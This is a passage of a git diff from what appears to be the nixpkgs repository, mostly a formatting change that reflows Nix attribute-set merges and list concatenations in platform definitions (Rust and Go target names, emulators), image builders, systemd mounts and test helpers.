-              "mips" # linux kernel does not distinguish mips32/mips64
-            else if final.isPower then
-              "powerpc"
-            else if final.isRiscV then
-              "riscv"
-            else if final.isS390 then
-              "s390"
-            else if final.isLoongArch64 then
-              "loongarch"
-            else
-              final.parsed.cpu.name;
-
-          # https://source.denx.de/u-boot/u-boot/-/blob/9bfb567e5f1bfe7de8eb41f8c6d00f49d2b9a426/common/image.c#L81-106
-          ubootArch =
-            if final.isx86_32 then
-              "x86" # not i386
-            else if final.isMips64 then
-              "mips64" # uboot *does* distinguish between mips32/mips64
-            else
-              final.linuxArch; # other cases appear to agree with linuxArch
-
-          qemuArch =
-            if final.isAarch32 then
-              "arm"
-            else if final.isAarch64 then
-              "aarch64"
-            else if final.isS390 && !final.isS390x then
-              null
-            else if final.isx86_64 then
-              "x86_64"
-            else if final.isx86 then
-              "i386"
-            else if final.isMips64n32 then
-              "mipsn32${optionalString final.isLittleEndian "el"}"
-            else if final.isMips64 then
-              "mips64${optionalString final.isLittleEndian "el"}"
-            else
-              final.uname.processor;
-
-          # Name used by UEFI for architectures.
-          efiArch =
-            if final.isx86_32 then
-              "ia32"
-            else if final.isx86_64 then
-              "x64"
-            else if final.isAarch32 then
-              "arm"
-            else if final.isAarch64 then
-              "aa64"
-            else
-              final.parsed.cpu.name;
-
-          darwinArch = parse.darwinArch final.parsed.cpu;
-
-          darwinPlatform =
-            if final.isMacOS then
-              "macos"
-            else if final.isiOS then
-              "ios"
-            else
-              null;
-          # The canonical name for this attribute is darwinSdkVersion, but some
-          # platforms define the old name "sdkVer".
-          darwinSdkVersion = final.sdkVer or "11.3";
-          darwinMinVersion = final.darwinSdkVersion;
-          darwinMinVersionVariable =
-            if final.isMacOS then
-              "MACOSX_DEPLOYMENT_TARGET"
-            else if final.isiOS then
-              "IPHONEOS_DEPLOYMENT_TARGET"
-            else
-              null;
-
-          # Handle Android SDK and NDK versions.
-          androidSdkVersion = args.androidSdkVersion or null;
-          androidNdkVersion = args.androidNdkVersion or null;
-        }
-        // (
-          let
-            selectEmulator =
-              pkgs:
-              let
-                wine = (pkgs.winePackagesFor "wine${toString final.parsed.cpu.bits}").minimal;
-              in
-              # Note: we guarantee that the return value is either `null` or a path
-              # to an emulator program. That is, if an emulator requires additional
-              # arguments, a wrapper should be used.
-              if pkgs.stdenv.hostPlatform.canExecute final then
-                lib.getExe (pkgs.writeShellScriptBin "exec" ''exec "$@"'')
-              else if final.isWindows then
-                "${wine}/bin/wine${optionalString (final.parsed.cpu.bits == 64) "64"}"
-              else if final.isLinux && pkgs.stdenv.hostPlatform.isLinux && final.qemuArch != null then
-                "${pkgs.qemu-user}/bin/qemu-${final.qemuArch}"
-              else if final.isWasi then
-                "${pkgs.wasmtime}/bin/wasmtime"
-              else if final.isMmix then
-                "${pkgs.mmixware}/bin/mmix"
-              else
-                null;
-          in
-          {
-            emulatorAvailable = pkgs: (selectEmulator pkgs) != null;
-
-            # whether final.emulator pkgs.pkgsStatic works
-            staticEmulatorAvailable =
-              pkgs: final.emulatorAvailable pkgs && (final.isLinux || final.isWasi || final.isMmix);
-
-            emulator =
-              pkgs:
-              if (final.emulatorAvailable pkgs) then
-                selectEmulator pkgs
-              else
-                throw "Don't know how to run ${final.config} executables.";
-
-          }
-        )
-        // mapAttrs (n: v: v final.parsed) inspect.predicates
-        // mapAttrs (n: v: v final.gcc.arch or "default") architectures.predicates
-        // args
-        // {
-          rust = rust // {
-            # Once args.rustc.platform.target-family is deprecated and
-            # removed, there will no longer be any need to modify any
-            # values from args.rust.platform, so we can drop all the
-            # "args ? rust" etc. checks, and merge args.rust.platform in
-            # /after/.
-            platform = rust.platform or { } // {
-              # https://doc.rust-lang.org/reference/conditional-compilation.html#target_arch
-              arch =
-                if rust ? platform then
-                  rust.platform.arch
-                else if final.isAarch32 then
-                  "arm"
-                else if final.isMips64 then
-                  "mips64" # never add "el" suffix
-                else if final.isPower64 then
-                  "powerpc64" # never add "le" suffix
-                else
-                  final.parsed.cpu.name;
-
-              # https://doc.rust-lang.org/reference/conditional-compilation.html#target_os
-              os =
-                if rust ? platform then
-                  rust.platform.os or "none"
-                else if final.isDarwin then
-                  "macos"
-                else if final.isWasm && !final.isWasi then
-                  "unknown" # Needed for {wasm32,wasm64}-unknown-unknown.
-                else
-                  final.parsed.kernel.name;
-
-              # https://doc.rust-lang.org/reference/conditional-compilation.html#target_family
-              target-family =
-                if args ? rust.platform.target-family then
-                  args.rust.platform.target-family
-                else if args ? rustc.platform.target-family then
-                  (
-                    # Since https://github.com/rust-lang/rust/pull/84072
-                    # `target-family` is a list instead of single value.
-                    let
-                      f = args.rustc.platform.target-family;
-                    in
-                    if isList f then f else [ f ]
-                  )
-                else
-                  optional final.isUnix "unix" ++ optional final.isWindows "windows" ++ optional final.isWasm "wasm";
-
-              # https://doc.rust-lang.org/reference/conditional-compilation.html#target_vendor
-              vendor =
-                let
-                  inherit (final.parsed) vendor;
-                in
-                rust.platform.vendor or {
-                  "w64" = "pc";
+          # The name of the rust target, even if it is custom. Adjustments are
+          # because rust has slightly different naming conventions than we do.
+          rustcTarget =
+            let
+              inherit (final.parsed) cpu kernel abi;
+              cpu_ =
+                rust.platform.arch or {
+                  "armv7a" = "armv7";
+                  "armv7l" = "armv7";
+                  "armv6l" = "arm";
+                  "armv5tel" = "armv5te";
+                  "riscv32" = "riscv32gc";
+                  "riscv64" = "riscv64gc";
                 }
-                .${vendor.name} or vendor.name;
-            };
+                .${cpu.name} or cpu.name;
+              vendor_ = final.rust.platform.vendor;
+            in
+            # TODO: deprecate args.rustc in favour of args.rust after 23.05 is EOL.
+            args.rust.rustcTarget or args.rustc.config or (
+              # Rust uses `wasm32-wasip?` rather than `wasm32-unknown-wasi`.
+              # We cannot know which subversion does the user want, and
+              # currently use WASI 0.1 as default for compatibility. Custom
+              # users can set `rust.rustcTarget` to override it.
+              if final.isWasi then
+                "${cpu_}-wasip1"
+              else
+                "${cpu_}-${vendor_}-${kernel.name}${optionalString (abi.name != "unknown") "-${abi.name}"}"
+            );
 
-            # The name of the rust target, even if it is custom. Adjustments are
-            # because rust has slightly different naming conventions than we do.
-            rustcTarget =
-              let
-                inherit (final.parsed) cpu kernel abi;
-                cpu_ =
-                  rust.platform.arch or {
-                    "armv7a" = "armv7";
-                    "armv7l" = "armv7";
-                    "armv6l" = "arm";
-                    "armv5tel" = "armv5te";
-                    "riscv32" = "riscv32gc";
-                    "riscv64" = "riscv64gc";
-                  }
-                  .${cpu.name} or cpu.name;
-                vendor_ = final.rust.platform.vendor;
-              in
-              # TODO: deprecate args.rustc in favour of args.rust after 23.05 is EOL.
-              args.rust.rustcTarget or args.rustc.config or (
-                # Rust uses `wasm32-wasip?` rather than `wasm32-unknown-wasi`.
-                # We cannot know which subversion does the user want, and
-                # currently use WASI 0.1 as default for compatibility. Custom
-                # users can set `rust.rustcTarget` to override it.
-                if final.isWasi then
-                  "${cpu_}-wasip1"
-                else
-                  "${cpu_}-${vendor_}-${kernel.name}${optionalString (abi.name != "unknown") "-${abi.name}"}"
-              );
+          # The name of the rust target if it is standard, or the json file
+          # containing the custom target spec.
+          rustcTargetSpec =
+            rust.rustcTargetSpec or (
+              if rust ? platform then
+                builtins.toFile (final.rust.rustcTarget + ".json") (toJSON rust.platform)
+              else
+                final.rust.rustcTarget
+            );
 
-            # The name of the rust target if it is standard, or the json file
-            # containing the custom target spec.
-            rustcTargetSpec =
-              rust.rustcTargetSpec or (
-                if rust ? platform then
-                  builtins.toFile (final.rust.rustcTarget + ".json") (toJSON rust.platform)
-                else
-                  final.rust.rustcTarget
-              );
+          # The name of the rust target if it is standard, or the
+          # basename of the file containing the custom target spec,
+          # without the .json extension.
+          #
+          # This is the name used by Cargo for target subdirectories.
+          cargoShortTarget = removeSuffix ".json" (baseNameOf "${final.rust.rustcTargetSpec}");
 
-            # The name of the rust target if it is standard, or the
-            # basename of the file containing the custom target spec,
-            # without the .json extension.
-            #
-            # This is the name used by Cargo for target subdirectories.
-            cargoShortTarget = removeSuffix ".json" (baseNameOf "${final.rust.rustcTargetSpec}");
+          # When used as part of an environment variable name, triples are
+          # uppercased and have all hyphens replaced by underscores:
+          #
+          # https://github.com/rust-lang/cargo/pull/9169
+          # https://github.com/rust-lang/cargo/issues/8285#issuecomment-634202431
+          cargoEnvVarTarget = replaceString "-" "_" (toUpper final.rust.cargoShortTarget);
 
-            # When used as part of an environment variable name, triples are
-            # uppercased and have all hyphens replaced by underscores:
-            #
-            # https://github.com/rust-lang/cargo/pull/9169
-            # https://github.com/rust-lang/cargo/issues/8285#issuecomment-634202431
-            cargoEnvVarTarget = replaceString "-" "_" (toUpper final.rust.cargoShortTarget);
-
-            # True if the target is no_std
-            # https://github.com/rust-lang/rust/blob/2e44c17c12cec45b6a682b1e53a04ac5b5fcc9d2/src/bootstrap/config.rs#L415-L421
-            isNoStdTarget = any (t: hasInfix t final.rust.rustcTarget) [
-              "-none"
-              "nvptx"
-              "switch"
-              "-uefi"
-            ];
-          };
-        }
-        // {
-          go = {
-            # See https://pkg.go.dev/internal/platform for a list of known platforms
-            GOARCH =
-              {
-                "aarch64" = "arm64";
-                "arm" = "arm";
-                "armv5tel" = "arm";
-                "armv6l" = "arm";
-                "armv7l" = "arm";
-                "i686" = "386";
-                "loongarch64" = "loong64";
-                "mips" = "mips";
-                "mips64el" = "mips64le";
-                "mipsel" = "mipsle";
-                "powerpc64" = "ppc64";
-                "powerpc64le" = "ppc64le";
-                "riscv64" = "riscv64";
-                "s390x" = "s390x";
-                "x86_64" = "amd64";
-                "wasm32" = "wasm";
-              }
-              .${final.parsed.cpu.name} or (throw "Unknown CPU variant ${final.parsed.cpu.name} by Go");
-            GOOS = if final.isWasi then "wasip1" else final.parsed.kernel.name;
-
-            # See https://go.dev/wiki/GoArm
-            GOARM = toString (lib.intersectLists [ (final.parsed.cpu.version or "") ] [ "5" "6" "7" ]);
-          };
+          # True if the target is no_std
+          # https://github.com/rust-lang/rust/blob/2e44c17c12cec45b6a682b1e53a04ac5b5fcc9d2/src/bootstrap/config.rs#L415-L421
+          isNoStdTarget = any (t: hasInfix t final.rust.rustcTarget) [
+            "-none"
+            "nvptx"
+            "switch"
+            "-uefi"
+          ];
         };
+      }
+      // {
+        go = {
+          # See https://pkg.go.dev/internal/platform for a list of known platforms
+          GOARCH =
+            {
+              "aarch64" = "arm64";
+              "arm" = "arm";
+              "armv5tel" = "arm";
+              "armv6l" = "arm";
+              "armv7l" = "arm";
+              "i686" = "386";
+              "loongarch64" = "loong64";
+              "mips" = "mips";
+              "mips64el" = "mips64le";
+              "mipsel" = "mipsle";
+              "powerpc64" = "ppc64";
+              "powerpc64le" = "ppc64le";
+              "riscv64" = "riscv64";
+              "s390x" = "s390x";
+              "x86_64" = "amd64";
+              "wasm32" = "wasm";
+            }
+            .${final.parsed.cpu.name} or (throw "Unknown CPU variant ${final.parsed.cpu.name} by Go");
+          GOOS = if final.isWasi then "wasip1" else final.parsed.kernel.name;
+
+          # See https://go.dev/wiki/GoArm
+          GOARM = toString (lib.intersectLists [ (final.parsed.cpu.version or "") ] [ "5" "6" "7" ]);
+        };
+      };
     in
     assert final.useAndroidPrebuilt -> final.isAndroid;
     assert foldl (pass: { assertion, message }: if assertion final then pass else throw message) true (
diff --git a/lib/systems/examples.nix b/lib/systems/examples.nix
index 7378b3bc5ecb..3209ab6a1db5 100644
--- a/lib/systems/examples.nix
+++ b/lib/systems/examples.nix
@@ -33,23 +33,28 @@ rec {
 
   sheevaplug = {
     config = "armv5tel-unknown-linux-gnueabi";
-  } // platforms.sheevaplug;
+  }
+  // platforms.sheevaplug;
 
   raspberryPi = {
     config = "armv6l-unknown-linux-gnueabihf";
-  } // platforms.raspberrypi;
+  }
+  // platforms.raspberrypi;
 
   bluefield2 = {
     config = "aarch64-unknown-linux-gnu";
-  } // platforms.bluefield2;
+  }
+  // platforms.bluefield2;
 
   remarkable1 = {
     config = "armv7l-unknown-linux-gnueabihf";
-  } // platforms.zero-gravitas;
+  }
+  // platforms.zero-gravitas;
 
   remarkable2 = {
     config = "armv7l-unknown-linux-gnueabihf";
-  } // platforms.zero-sugar;
+  }
+  // platforms.zero-sugar;
 
   armv7l-hf-multiplatform = {
     config = "armv7l-unknown-linux-gnueabihf";
@@ -65,7 +70,8 @@ rec {
     androidSdkVersion = "33";
     androidNdkVersion = "26";
     useAndroidPrebuilt = true;
-  } // platforms.armv7a-android;
+  }
+  // platforms.armv7a-android;
 
   aarch64-android-prebuilt = {
     config = "aarch64-unknown-linux-android";
@@ -86,39 +92,48 @@ rec {
 
   pogoplug4 = {
     config = "armv5tel-unknown-linux-gnueabi";
-  } // platforms.pogoplug4;
+  }
+  // platforms.pogoplug4;
 
   ben-nanonote = {
     config = "mipsel-unknown-linux-uclibc";
-  } // platforms.ben_nanonote;
+  }
+  // platforms.ben_nanonote;
 
   fuloongminipc = {
     config = "mipsel-unknown-linux-gnu";
-  } // platforms.fuloong2f_n32;
+  }
+  // platforms.fuloong2f_n32;
 
   # can execute on 32bit chip
   mips-linux-gnu = {
     config = "mips-unknown-linux-gnu";
-  } // platforms.gcc_mips32r2_o32;
+  }
+  // platforms.gcc_mips32r2_o32;
   mipsel-linux-gnu = {
     config = "mipsel-unknown-linux-gnu";
-  } // platforms.gcc_mips32r2_o32;
+  }
+  // platforms.gcc_mips32r2_o32;
 
   # require 64bit chip (for more registers, 64-bit floating point, 64-bit "long long") but use 32bit pointers
   mips64-linux-gnuabin32 = {
     config = "mips64-unknown-linux-gnuabin32";
-  } // platforms.gcc_mips64r2_n32;
+  }
+  // platforms.gcc_mips64r2_n32;
   mips64el-linux-gnuabin32 = {
     config = "mips64el-unknown-linux-gnuabin32";
-  } // platforms.gcc_mips64r2_n32;
+  }
+  // platforms.gcc_mips64r2_n32;
 
   # 64bit pointers
   mips64-linux-gnuabi64 = {
     config = "mips64-unknown-linux-gnuabi64";
-  } // platforms.gcc_mips64r2_64;
+  }
+  // platforms.gcc_mips64r2_64;
   mips64el-linux-gnuabi64 = {
     config = "mips64el-unknown-linux-gnuabi64";
-  } // platforms.gcc_mips64r2_64;
+  }
+  // platforms.gcc_mips64r2_64;
 
   muslpi = raspberryPi // {
     config = "armv6l-unknown-linux-musleabihf";
diff --git a/lib/systems/inspect.nix b/lib/systems/inspect.nix
index 82fd289e075c..bcde074d07c4 100644
--- a/lib/systems/inspect.nix
+++ b/lib/systems/inspect.nix
@@ -255,16 +255,16 @@ rec {
         bits = 64;
       };
     };
-    isILP32 =
-      [
-        {
-          cpu = {
-            family = "wasm";
-            bits = 32;
-          };
-        }
-      ]
-      ++ map
+    isILP32 = [
+      {
+        cpu = {
+          family = "wasm";
+          bits = 32;
+        };
+      }
+    ]
+    ++
+      map
         (a: {
           abi = {
             abi = a;
diff --git a/lib/tests/modules/define-option-dependently-nested.nix b/lib/tests/modules/define-option-dependently-nested.nix
index d0aa722537d0..69ee4255534a 100644
--- a/lib/tests/modules/define-option-dependently-nested.nix
+++ b/lib/tests/modules/define-option-dependently-nested.nix
@@ -5,13 +5,12 @@
 {
 
   # Always defined, but the value depends on the presence of an option.
-  config.set =
-    {
-      value = if options ? set.enable then 360 else 7;
-    }
-    # Only define if possible.
-    // lib.optionalAttrs (options ? set.enable) {
-      enable = true;
-    };
+  config.set = {
+    value = if options ? set.enable then 360 else 7;
+  }
+  # Only define if possible.
+  // lib.optionalAttrs (options ? set.enable) {
+    enable = true;
+  };
 
 }
diff --git a/lib/tests/modules/define-option-dependently.nix b/lib/tests/modules/define-option-dependently.nix
index 61330c920c96..ad85f99a919f 100644
--- a/lib/tests/modules/define-option-dependently.nix
+++ b/lib/tests/modules/define-option-dependently.nix
@@ -5,13 +5,12 @@
 {
 
   # Always defined, but the value depends on the presence of an option.
-  config =
-    {
-      value = if options ? enable then 360 else 7;
-    }
-    # Only define if possible.
-    // lib.optionalAttrs (options ? enable) {
-      enable = true;
-    };
+  config = {
+    value = if options ? enable then 360 else 7;
+  }
+  # Only define if possible.
+  // lib.optionalAttrs (options ? enable) {
+    enable = true;
+  };
 
 }
diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index d9089902a0a3..ebbe5e0ae5cd 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -27,7 +27,8 @@ pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
     nativeBuildInputs = [
       nix
       pkgs.gitMinimal
-    ] ++ lib.optional pkgs.stdenv.hostPlatform.isLinux pkgs.inotify-tools;
+    ]
+    ++ lib.optional pkgs.stdenv.hostPlatform.isLinux pkgs.inotify-tools;
     strictDeps = true;
   }
   ''
diff --git a/lib/types.nix b/lib/types.nix
index ff50039da38f..f7e73bbc07c1 100644
--- a/lib/types.nix
+++ b/lib/types.nix
@@ -1210,7 +1210,8 @@ let
                 # It shouldn't cause an issue since this is cosmetic for the manual.
                 _module.args.name = lib.mkOptionDefault "‹name›";
               }
-            ] ++ modules;
+            ]
+            ++ modules;
           };
 
           freeformType = base._module.freeformType;
diff --git a/nixos/lib/eval-config-minimal.nix b/nixos/lib/eval-config-minimal.nix
index 63c2aedc87a9..f65c907290d6 100644
--- a/nixos/lib/eval-config-minimal.nix
+++ b/nixos/lib/eval-config-minimal.nix
@@ -40,7 +40,8 @@ let
       class = "nixos";
       specialArgs = {
         modulesPath = builtins.toString ../modules;
-      } // specialArgs;
+      }
+      // specialArgs;
     };
 
 in
diff --git a/nixos/lib/make-btrfs-fs.nix b/nixos/lib/make-btrfs-fs.nix
index 30d74d5fdb45..1f3e821a405d 100644
--- a/nixos/lib/make-btrfs-fs.nix
+++ b/nixos/lib/make-btrfs-fs.nix
@@ -31,7 +31,8 @@ pkgs.stdenv.mkDerivation {
     btrfs-progs
     libfaketime
     fakeroot
-  ] ++ lib.optional compressImage zstd;
+  ]
+  ++ lib.optional compressImage zstd;
 
   buildCommand = ''
     ${if compressImage then "img=temp.img" else "img=$out"}
diff --git a/nixos/lib/make-ext4-fs.nix b/nixos/lib/make-ext4-fs.nix
index 113ca0c1420f..7b48f3c60a94 100644
--- a/nixos/lib/make-ext4-fs.nix
+++ b/nixos/lib/make-ext4-fs.nix
@@ -33,7 +33,8 @@ pkgs.stdenv.mkDerivation {
     libfaketime
     perl
     fakeroot
-  ] ++ lib.optional compressImage zstd;
+  ]
+  ++ lib.optional compressImage zstd;
 
   buildCommand = ''
     ${if compressImage then "img=temp.img" else "img=$out"}
diff --git a/nixos/lib/make-iso9660-image.nix b/nixos/lib/make-iso9660-image.nix
index daf2d14a9ebf..2a208d27d766 100644
--- a/nixos/lib/make-iso9660-image.nix
+++ b/nixos/lib/make-iso9660-image.nix
@@ -82,7 +82,8 @@ stdenv.mkDerivation {
     syslinux
     zstd
     libossp_uuid
-  ] ++ lib.optionals needSquashfs makeSquashfsDrv.nativeBuildInputs;
+  ]
+  ++ lib.optionals needSquashfs makeSquashfsDrv.nativeBuildInputs;
 
   inherit
     isoName
diff --git a/nixos/lib/make-squashfs.nix b/nixos/lib/make-squashfs.nix
index 98c75286a7a7..c39a860323fa 100644
--- a/nixos/lib/make-squashfs.nix
+++ b/nixos/lib/make-squashfs.nix
@@ -29,39 +29,38 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [ squashfsTools ];
 
-  buildCommand =
-    ''
-      closureInfo=${closureInfo { rootPaths = storeContents; }}
+  buildCommand = ''
+    closureInfo=${closureInfo { rootPaths = storeContents; }}
 
-      # Also include a manifest of the closures in a format suitable
-      # for nix-store --load-db.
-      cp $closureInfo/registration nix-path-registration
+    # Also include a manifest of the closures in a format suitable
+    # for nix-store --load-db.
+    cp $closureInfo/registration nix-path-registration
 
-      imgPath="$out"
-    ''
-    + lib.optionalString hydraBuildProduct ''
+    imgPath="$out"
+  ''
+  + lib.optionalString hydraBuildProduct ''
 
-      mkdir $out
-      imgPath="$out/${fileName}.squashfs"
-    ''
-    + lib.optionalString stdenv.buildPlatform.is32bit ''
+    mkdir $out
+    imgPath="$out/${fileName}.squashfs"
+  ''
+  + lib.optionalString stdenv.buildPlatform.is32bit ''
 
-      # 64 cores on i686 does not work
-      # fails with FATAL ERROR: mangle2:: xz compress failed with error code 5
-      if ((NIX_BUILD_CORES > 48)); then
-        NIX_BUILD_CORES=48
-      fi
-    ''
-    + ''
+    # 64 cores on i686 does not work
+    # fails with FATAL ERROR: mangle2:: xz compress failed with error code 5
+    if ((NIX_BUILD_CORES > 48)); then
+      NIX_BUILD_CORES=48
+    fi
+  ''
+  + ''
 
-      # Generate the squashfs image.
-      mksquashfs nix-path-registration $(cat $closureInfo/store-paths) $imgPath ${pseudoFilesArgs} \
-        -no-hardlinks ${lib.optionalString noStrip "-no-strip"} -keep-as-directory -all-root -b 1048576 ${compFlag} \
-        -processors $NIX_BUILD_CORES -root-mode 0755
-    ''
-    + lib.optionalString hydraBuildProduct ''
+    # Generate the squashfs image.
+    mksquashfs nix-path-registration $(cat $closureInfo/store-paths) $imgPath ${pseudoFilesArgs} \
+      -no-hardlinks ${lib.optionalString noStrip "-no-strip"} -keep-as-directory -all-root -b 1048576 ${compFlag} \
+      -processors $NIX_BUILD_CORES -root-mode 0755
+  ''
+  + lib.optionalString hydraBuildProduct ''
 
-      mkdir -p $out/nix-support
-      echo "file squashfs-image $out/${fileName}.squashfs" >> $out/nix-support/hydra-build-products
-    '';
+    mkdir -p $out/nix-support
+    echo "file squashfs-image $out/${fileName}.squashfs" >> $out/nix-support/hydra-build-products
+  '';
 }
diff --git a/nixos/lib/systemd-lib.nix b/nixos/lib/systemd-lib.nix
index 8249c4c4feb3..3b68d56d4541 100644
--- a/nixos/lib/systemd-lib.nix
+++ b/nixos/lib/systemd-lib.nix
@@ -701,17 +701,16 @@ rec {
     {
       config = {
         name = "${utils.escapeSystemdPath config.where}.mount";
-        mountConfig =
-          {
-            What = config.what;
-            Where = config.where;
-          }
-          // optionalAttrs (config.type != "") {
-            Type = config.type;
-          }
-          // optionalAttrs (config.options != "") {
-            Options = config.options;
-          };
+        mountConfig = {
+          What = config.what;
+          Where = config.where;
+        }
+        // optionalAttrs (config.type != "") {
+          Type = config.type;
+        }
+        // optionalAttrs (config.options != "") {
+          Options = config.options;
+        };
       };
     };
 
diff --git a/nixos/lib/test-driver/default.nix b/nixos/lib/test-driver/default.nix
index 91db5d8be3c2..e38873660f51 100644
--- a/nixos/lib/test-driver/default.nix
+++ b/nixos/lib/test-driver/default.nix
@@ -35,18 +35,17 @@ python3Packages.buildPythonApplication {
     ]
     ++ extraPythonPackages python3Packages;
 
-  propagatedBuildInputs =
-    [
-      coreutils
-      netpbm
-      qemu_pkg
-      socat
-      vde2
-    ]
-    ++ lib.optionals enableOCR [
-      imagemagick_light
-      tesseract4
-    ];
+  propagatedBuildInputs = [
+    coreutils
+    netpbm
+    qemu_pkg
+    socat
+    vde2
+  ]
+  ++ lib.optionals enableOCR [
+    imagemagick_light
+    tesseract4
+  ];
 
   passthru.tests = {
     inherit (nixosTests.nixos-test-driver) driver-timeout;
diff --git a/nixos/lib/testing/driver.nix b/nixos/lib/testing/driver.nix
index 05d0b1a04569..6ddb7a341bd3 100644
--- a/nixos/lib/testing/driver.nix
+++ b/nixos/lib/testing/driver.nix
@@ -49,7 +49,8 @@ let
         # inherit testName; TODO (roberth): need this?
         nativeBuildInputs = [
           hostPkgs.makeWrapper
-        ] ++ lib.optionals (!config.skipTypeCheck) [ hostPkgs.mypy ];
+        ]
+        ++ lib.optionals (!config.skipTypeCheck) [ hostPkgs.mypy ];
         buildInputs = [ testDriver ];
         testScript = config.testScriptString;
         preferLocalBuild = true;
diff --git a/nixos/lib/testing/run.nix b/nixos/lib/testing/run.nix
index f37aa1bcd0e5..3b0120c4173b 100644
--- a/nixos/lib/testing/run.nix
+++ b/nixos/lib/testing/run.nix
@@ -49,10 +49,11 @@ in
       hostPkgs.stdenv.mkDerivation {
         name = "vm-test-run-${config.name}";
 
-        requiredSystemFeatures =
-          [ "nixos-test" ]
-          ++ lib.optionals hostPkgs.stdenv.hostPlatform.isLinux [ "kvm" ]
-          ++ lib.optionals hostPkgs.stdenv.hostPlatform.isDarwin [ "apple-virt" ];
+        requiredSystemFeatures = [
+          "nixos-test"
+        ]
+        ++ lib.optionals hostPkgs.stdenv.hostPlatform.isLinux [ "kvm" ]
+        ++ lib.optionals hostPkgs.stdenv.hostPlatform.isDarwin [ "apple-virt" ];
 
         buildCommand = ''
           mkdir -p $out
diff --git a/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix b/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
index 2e7cd481584a..580b67889d99 100644
--- a/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
+++ b/nixos/maintainers/scripts/openstack/openstack-image-zfs.nix
@@ -40,7 +40,8 @@ in
       ];
     })
 
-  ] ++ (lib.optional copyChannel ../../../modules/installer/cd-dvd/channel.nix);
+  ]
+  ++ (lib.optional copyChannel ../../../modules/installer/cd-dvd/channel.nix);
 
   options.openstackImage = {
     ramMB = mkOption {
diff --git a/nixos/maintainers/scripts/openstack/openstack-image.nix b/nixos/maintainers/scripts/openstack/openstack-image.nix
index 8de0bcc9c2eb..65ce2fec2033 100644
--- a/nixos/maintainers/scripts/openstack/openstack-image.nix
+++ b/nixos/maintainers/scripts/openstack/openstack-image.nix
@@ -14,7 +14,8 @@ in
   imports = [
     ../../../modules/virtualisation/openstack-config.nix
     ../../../modules/image/file-options.nix
-  ] ++ (lib.optional copyChannel ../../../modules/installer/cd-dvd/channel.nix);
+  ]
+  ++ (lib.optional copyChannel ../../../modules/installer/cd-dvd/channel.nix);
 
   documentation.enable = copyChannel;
 
diff --git a/nixos/modules/config/console.nix b/nixos/modules/config/console.nix
index 006cf91baaf0..7c126df4e878 100644
--- a/nixos/modules/config/console.nix
+++ b/nixos/modules/config/console.nix
@@ -191,19 +191,18 @@ in
           boot.initrd.systemd.additionalUpstreamUnits = [
             "systemd-vconsole-setup.service"
           ];
-          boot.initrd.systemd.storePaths =
-            [
-              "${config.boot.initrd.systemd.package}/lib/systemd/systemd-vconsole-setup"
-              "${config.boot.initrd.systemd.package.kbd}/bin/setfont"
-              "${config.boot.initrd.systemd.package.kbd}/bin/loadkeys"
-              "${config.boot.initrd.systemd.package.kbd.gzip}/bin/gzip" # Fonts and keyboard layouts are compressed
-            ]
-            ++ lib.optionals (cfg.font != null && lib.hasPrefix builtins.storeDir cfg.font) [
-              "${cfg.font}"
-            ]
-            ++ lib.optionals (lib.hasPrefix builtins.storeDir cfg.keyMap) [
-              "${cfg.keyMap}"
-            ];
+          boot.initrd.systemd.storePaths = [
+            "${config.boot.initrd.systemd.package}/lib/systemd/systemd-vconsole-setup"
+            "${config.boot.initrd.systemd.package.kbd}/bin/setfont"
+            "${config.boot.initrd.systemd.package.kbd}/bin/loadkeys"
+            "${config.boot.initrd.systemd.package.kbd.gzip}/bin/gzip" # Fonts and keyboard layouts are compressed
+          ]
+          ++ lib.optionals (cfg.font != null && lib.hasPrefix builtins.storeDir cfg.font) [
+            "${cfg.font}"
+          ]
+          ++ lib.optionals (lib.hasPrefix builtins.storeDir cfg.keyMap) [
+            "${cfg.keyMap}"
+          ];
 
           systemd.additionalUpstreamSystemUnits = [
             "systemd-vconsole-setup.service"
diff --git a/nixos/modules/config/fonts/fontconfig.nix b/nixos/modules/config/fonts/fontconfig.nix
index 89c537ff3868..82bac6249d21 100644
--- a/nixos/modules/config/fonts/fontconfig.nix
+++ b/nixos/modules/config/fonts/fontconfig.nix
@@ -258,44 +258,43 @@ let
   fontconfigNote = "Consider manually configuring fonts.fontconfig according to personal preference.";
 in
 {
-  imports =
-    [
-      (lib.mkRenamedOptionModule
-        [ "fonts" "fontconfig" "ultimate" "allowBitmaps" ]
-        [ "fonts" "fontconfig" "allowBitmaps" ]
-      )
-      (lib.mkRenamedOptionModule
-        [ "fonts" "fontconfig" "ultimate" "allowType1" ]
-        [ "fonts" "fontconfig" "allowType1" ]
-      )
-      (lib.mkRenamedOptionModule
-        [ "fonts" "fontconfig" "ultimate" "useEmbeddedBitmaps" ]
-        [ "fonts" "fontconfig" "useEmbeddedBitmaps" ]
-      )
-      (lib.mkRenamedOptionModule
-        [ "fonts" "fontconfig" "ultimate" "forceAutohint" ]
-        [ "fonts" "fontconfig" "forceAutohint" ]
-      )
-      (lib.mkRenamedOptionModule
-        [ "fonts" "fontconfig" "ultimate" "renderMonoTTFAsBitmap" ]
-        [ "fonts" "fontconfig" "renderMonoTTFAsBitmap" ]
-      )
-      (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "forceAutohint" ] "")
-      (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "renderMonoTTFAsBitmap" ] "")
-      (lib.mkRemovedOptionModule [ "fonts" "fontconfig" "dpi" ] "Use display server-specific options")
-      (lib.mkRemovedOptionModule [ "hardware" "video" "hidpi" "enable" ] fontconfigNote)
-      (lib.mkRemovedOptionModule [ "fonts" "optimizeForVeryHighDPI" ] fontconfigNote)
-    ]
-    ++ lib.forEach [ "enable" "substitutions" "preset" ] (
-      opt:
-      lib.mkRemovedOptionModule [ "fonts" "fontconfig" "ultimate" "${opt}" ] ''
-        The fonts.fontconfig.ultimate module and configuration is obsolete.
-        The repository has since been archived and activity has ceased.
-        https://github.com/bohoomil/fontconfig-ultimate/issues/171.
-        No action should be needed for font configuration, as the fonts.fontconfig
-        module is already used by default.
-      ''
-    );
+  imports = [
+    (lib.mkRenamedOptionModule
+      [ "fonts" "fontconfig" "ultimate" "allowBitmaps" ]
+      [ "fonts" "fontconfig" "allowBitmaps" ]
+    )
+    (lib.mkRenamedOptionModule
